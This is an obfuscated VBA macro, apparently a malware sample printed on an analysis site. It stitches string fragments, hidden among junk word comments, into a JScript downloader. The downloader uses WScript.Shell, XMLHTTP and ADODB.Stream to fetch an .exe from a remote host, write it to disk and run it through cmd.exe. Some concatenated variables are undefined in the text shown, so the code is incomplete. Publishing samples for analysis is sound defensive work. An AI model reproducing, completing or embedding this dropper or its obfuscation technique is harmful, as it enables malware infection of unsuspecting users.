bobzokfobci = "em"
kcybfop = "as"
ugfetbok7 = "fs"
knipebk = "n "
oranru = " """
ktakyls1 = "ne"
mulvywe = "am"
cubpymmuj = "on"
'ostentatious fermions furiously registers encapsulating epithetic infelicitously canonic disruptive
rxohnogefa = "em"
itdyvvigqovc = ".S"
unviwu2 = "re"
ytezurdad8 = ");"
fnefceviqd = "tm"
iwvacymmi = "pt"
tnansydte8 = ".C"
estivsuxni = "cr"
'checkers lookingglasses floodlight thorniest clumping coordinated cheeky
muzvozig3 = "lo"
erwaqlavre = "it"
vcymsuzmovlu = "XM"
gxojnetqoz = ".e"
udimvuz8 = "o "
reparxu = "s."
'superlative bejewelled graced springiest homonyms apron
ridpinx6 = " /"
stamiszake1 = "eX"
jvinihsygy8 = "ct"
lurug0 = "XO"
cnudhym = "fs"
yqitubi = "st"
fqyxsijvivx1 = ""","
idynniq8 = "je"
ljixdyv7 = "r "
'reagent clansmen mealies unreachable interrelationship
bennisvikha7 = "tr"
anewzehe = "ti"
yjazpu0 = "er"
uhjuwvann = "1;"
ajyjah0 = "xe"
'dingo downpipes ramp tramcars wrappings
egjajfany = ";v"
ektukecy = "= "
bazax7 = "md"
esejto4 = "n("
achuzo = " n"
rehwofg = "ci"
'costarred disgorging bereaving peddlers labile
bjoncywm5 = "iv"
bicyd = "Ob"
rqufolmu = "se"
qgigfuld = ";s"
ajuby3 = "Fo"
uhlyholu8 = "lo"
ofsyca4 = "r "
iracpy0 = "ru"
'reincarnations sighed chimp gawpin tubs borrow preamp acidly disconnected
enopa = "eX"
sewfenacjy3 = "("""
akyqbevho = "as"
aqifpohhot = "pa"
ukyxawepr = "= "
syjoj = "0)"
'recriminate percussion labourers alcoholics rusted linesmen paramagnetic boycotted mounting
ircanep = "mp"
ladnultan = "st"
zbyprut = "se"
gawlozf2 = "fs"
faghugudu = " ="
defnacnu = "re"
uwgesisab9 = "t."
'disarms palatinate antiquary repeaters gauges requite clearances
ebohve = "os"
qufepkovv5 = "l"""
yvfoxivy = ".6"
unvibec2 = "iv"
lzusfysuhme7 = "e("
xehdakukky = "\\"
leqxozca1 = ".e"
'pensive toed skirmishing rhythmical naturalism
osyqmyg = "va"
ilkoxaqno = " c"
ejriho = "re"
xyzcebetba8 = """A"
yzpohehi9 = "st"
harbeqaz = "o."
dinhazjoc0 = "n "
anzasim3 = "ne"
yforcawyv6 = "("""
'operas investigating weds coxing accusals oaks fastness
fgyhyh = "bj"
axiwxu0 = "XO"
mullacyt4 = "ar"
amoxnabkuj = "sh"
secox2 = ");"
omyjonxucm2 = "ea"
nebhuxn0 = "ru"
zufitoja = "w "
'clucked heterodoxy mythic micturition photographs truncheon
dwicbesj2 = "ec"
dwachomeqd0 = "ew"
nrosimop6 = "s."
ydbotgynsoxr4 = """)"
nirsisosg0 = "()"
yfvydbawx0 = "pe"
vzuvfupx4 = "t "
mdalwudypa0 = "bj"
'hypotheses unsureness rattlesnake wondrous purgatory
kamexk = ");"
heclah1 = "cm"
aqhygtenymn8 = "th"
oqyto = "ct"
ohbytty = "ew"
acunge0 = "e("
uslurwuff7 = "yp"
'jobless overwrite jeweller spurn drippy
vrubluvlabp8 = """ "
tzorpihedb7 = """ "
emhugi7 = ".S"
wkadpenv9 = "+ "
zosyc0 = "st"
ylwejo = "tr"
zyzbuq2 = "el"
joqtyf = "n("
'adorn wavebands wineskin planktonic precious multilevel tunefully
pojune = "("""
ofnetza4 = "ar"
qdottos = "pe"
linpeg6 = "op"
qxopowe7 = "tS"
ifipytavp = "xe"
xkatifrej8 = "os"
'wrathful tailormade england gall nomadic
fakvuzdajba = "ct"
sbugzujv = "c "
byddybinby = "4/"
ewpisutw = "am"
fjopgysvyw4 = "Fi"
abvidpe8 = "dy"
'codex degauss imploded miscellanies prospectuses revisable ptolemy wounded
trymogtaby = "Ac"
klamajihh8 = "LH"
mytjyda6 = "o."
xopilse8 = "cr"
fabbytnori9 = ";v"
emifjehb = "+ "
okogixqe5 = "eT"
jaxluk = "en"
'freaked matadors billion monastic dials amiably legalism aware
pisyhcuhu3 = "ve"
lmirahu1 = "Sh"
nlinzyqv = "el"
ypziwjond8 = "Re"
unihenge2 = "Mi"
ufbodob5 = """c"
ukcivdykyg0 = "w "
'tabbing sterilised liaison unredeemed episodic buttercup
ywono2 = "64"
cxupexd = ".T"
ttajkyno = " t"
ltediwm = "am"
eqlimpivno = "pN"
azpogide7 = "= "
owbujevoq = "Sc"
kquvekew0 = "("""
cwufgona = "()"
'mussel unfortunately lacerate allied nun cornerstone
arazojtak9 = ");"
acsavx7 = "ip"
osmubm9 = "ro"
uktalpyx2 = "ri"
hticonn = "MS"
asasuqo7 = "nt"
wogjutj = "Co"
'unreproducible pomade ambuscades teat intrudes peeled pavlov
pipi9 = "ro"
qectu8 = "Sc"
ycfudzar = "cr"
zbocyxt6 = "Co"
qhune = "pt"
'sniffling admonish acanthus accretion neutraliser annualised pedology
ztoziqro = "nt"
wsebmiz = "ri"
kpecveq9 = "l"
notu = "l."
gowhempe = "Sc"
urawqyvz = "JS"
bqyxpaqw = "pt"
esxyvbyrbo = "t"
'chemiluminescence legacy gnashes crimes bucolic
ukwipkezle5 = jlazomhaze0 & ofsyca4 & amoxnabkuj & evynvu & ygbepvowig1 & ektukecy & ktakyls1 & ukcivdykyg0 & trymogtaby & fufyfgu0 & pisyhcuhu3 & axiwxu0 & mdalwudypa0 & anybvi8 & vzuvfupx4 & kquvekew0 & xpilqug & xopilse8 & mufteqre
ukwipkezle5 = ukwipkezle5 & dmadipkap & lmirahu1 & zyzbuq2 & qufepkovv5 & mpupucjy9 & osyqmyg & ljixdyv7 & gawlozf2 & udimvuz8 & icxeragvob5 & anzasim3 & zufitoja & xxawaqpawe & anewzehe & ubxibfo & lurug0 & fgyhyh & dwicbesj2 & ipetnitec
ukwipkezle5 = ukwipkezle5 & pojune & owbujevoq & givaduqba5 & iwvacymmi & qosan & myrjifkoge7 & fjopgysvyw4 & optezore & eqzivkojvo7 & zkiniwc & bobzokfobci & upaco & vevuwusdy & fakvuzdajba & ydbotgynsoxr4 & egjajfany & mullacyt4 & ttajkyno & ircanep
ukwipkezle5 = ukwipkezle5 & oqdoxog & syxhekm8 & omwimowni1 & ebhiprodk9 & ugfetbok7 & harbeqaz & ijqakxogz & qxopowe7 & qdottos & rehwofg & umydpapvi0 & ajuby3 & ydylilpohd4 & yjazpu0 & kakavce4 & gmammygveta5 & vgobqahy & oranru & xehdakukky
ukwipkezle5 = ukwipkezle5 & tzorpihedb7 & emifjehb & cnudhym & mytjyda6 & xywartysj & lhucdyh & rxohnogefa & eqlimpivno & ewpisutw & acunge0 & secox2 & frivyfy8 & esjictik8 & ladnultan & lexfupxazo & efuddon & otxidgidk & achuzo & ohbytty
'pajamas yesterday maimings poleward gunfight
ukwipkezle5 = ukwipkezle5 & tofsuve & oqyto & bjoncywm5 & enopa & bicyd & tvujhunzon & wmexmypceb0 & fbipmezveqda & xyzcebetba8 & yzzunipe & linonuj & emhugi7 & bennisvikha7 & dewsyk & yrygfo0 & kamexk & yqitubi & komownov6 & ltediwm
ukwipkezle5 = ukwipkezle5 & olzimban8 & yfvydbawx0 & esejto4 & umsanco & zosyc0 & defnacnu & exjiha & cxupexd & uslurwuff7 & dmohann & azpogide7 & uhjuwvann & ubupdy & ejriho & elgirma & aqesizi & xkatifrej8 & erwaqlavre & yfsywuz0
ukwipkezle5 = ukwipkezle5 & knipebk & ukyxawepr & jowalhuq1 & bwazcybizz & ofnetza4 & acxyxafd & efqitza & faghugudu & lbyfivgy & dwachomeqd0 & bifvuc6 & uftucenqi1 & unvibec2 & stamiszake1 & zsaseti0 & idynniq8 & jvinihsygy8 & yforcawyv6 & unihenge2
ukwipkezle5 = ukwipkezle5 & estivsuxni & ebohve & fcavyg7 & uwgesisab9 & vcymsuzmovlu & klamajihh8 & zlixcunn & exhoku & dkicenolu0 & kcybfop & yniwi & linpeg6 & jaxluk & sewfenacjy3 & ivity9 & bcobofy & pumywku3 & imdogagr & rehyty
ukwipkezle5 = ukwipkezle5 & atnacoqa & lzactebevdy & inoqagg & uzybogrymb & upixxyfcod4 & ywono2 & yvfoxivy & byddybinby & muzvozig3 & umzizzizga5 & gxojnetqoz & ifipytavp & fqyxsijvivx1 & qmymuc & bosigxaly & apocop2 & nrosimop6 & enodqacq9 & tetyh4
ukwipkezle5 = ukwipkezle5 & nirsisosg0 & qgigfuld & ylwejo & omyjonxucm2 & sqenovar6 & ulexguhfytp4 & sfyhcevc & ifhaxkafwi6 & akyqbevho & reparxu & ypziwjond8 & ejzupxewa8 & cubpymmuj & rqufolmu & yjpidiqvu & abvidpe8 & arazojtak9 & atafu3 & unviwu2
ukwipkezle5 = ukwipkezle5 & mulvywe & itdyvvigqovc & uzewqyv & okogixqe5 & kwowrohl & ixumxa9 & lzusfysuhme7 & tvijjowi & mwitsirqyhh3 & aqifpohhot & etukruzc & ytezurdad8 & yzpohehi9 & jbuwozqel & kpezpewqyf7 & tnansydte8 & uhlyholu8 & zbyprut & cwufgona
ukwipkezle5 = ukwipkezle5 & fabbytnori9 & vuzxiloki & ilkoxaqno & ycuzalr8 & iracpy0 & dinhazjoc0 & fjejbyzxopxu0 & ufbodob5 & bazax7 & leqxozca1 & ajyjah0 & ridpinx6 & sbugzujv & vrubluvlabp8 & wkadpenv9 & fnefceviqd & nzunxot & yqnare & aqhygtenymn8
'jurisdictions abyss bold irritation duckbilled naturalise submerged
ukwipkezle5 = ukwipkezle5 & xtexudodo & mdojcopatd8 & nlinzyqv & qgohhylwopd & nebhuxn0 & joqtyf & heclah1 & nvysbyboba2 & neqryxy7 & ifcecosow8 & syjoj & zenlyqc4
ohrele1 = urawqyvz & ycfudzar & acsavx7 & esxyvbyrbo
yxodlevr = hticonn & qectu8 & uktalpyx2 & bqyxpaqw & wogjutj & asasuqo7 & osmubm9 & notu & gowhempe & wsebmiz & qhune & zbocyxt6 & ztoziqro & pipi9 & kpecveq9
Set nigkyc3 = CreateObject(yxodlevr)
ggunjeqemt nigkyc3, ohrele1
tatescod nigkyc3, ukwipkezle5

'excitingly checkouts esquires faroff debasement panaceas ambling ballbearings

End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.